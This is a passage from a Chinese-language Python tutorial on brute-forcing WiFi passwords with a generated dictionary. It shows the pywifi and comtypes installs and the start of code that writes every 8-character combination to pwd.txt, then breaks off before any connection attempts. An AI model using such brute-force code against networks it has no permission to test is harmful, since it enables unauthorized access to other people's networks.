由于是通过枚举字典的方式来实现的,因此在开始之前我们需要先构建好密码字典。
通过对密码字典挨个进行试错的方式获取正确wifi名称和密码,此内容只可以用于知识讲解不允许任何商业用途使用。
开始之前需要先将需要的python非标准模块安装一下,若已安装请忽略。
pip install pywifi -i https://pypi.tuna.tsinghua.edu.cn/simple
pip install comtypes -i https://pypi.tuna.tsinghua.edu.cn/simple
然后使用python内置的模块itertools生成后面需要的密码字典。
# Itertools is a module that provides a number of functions that work with iterators to produce complex iterators.
import itertools as its
# Importing the threading module.
import threading
# It's a logging library.
from loguru import logger
初始化字典项包含的正常字符以及特殊字符。
text = "1234567890abcdefghijklmnopqrstuvwxyz!@#$%^&*()_+=-"
提取随机组合长度为8位的字符串,因为一般密码长度为8位,可根据实际情况设置提取位数。
result_ = its.product(text, repeat=8)
dic = open("pwd.txt","a")
for i in result_:
dic.write("&#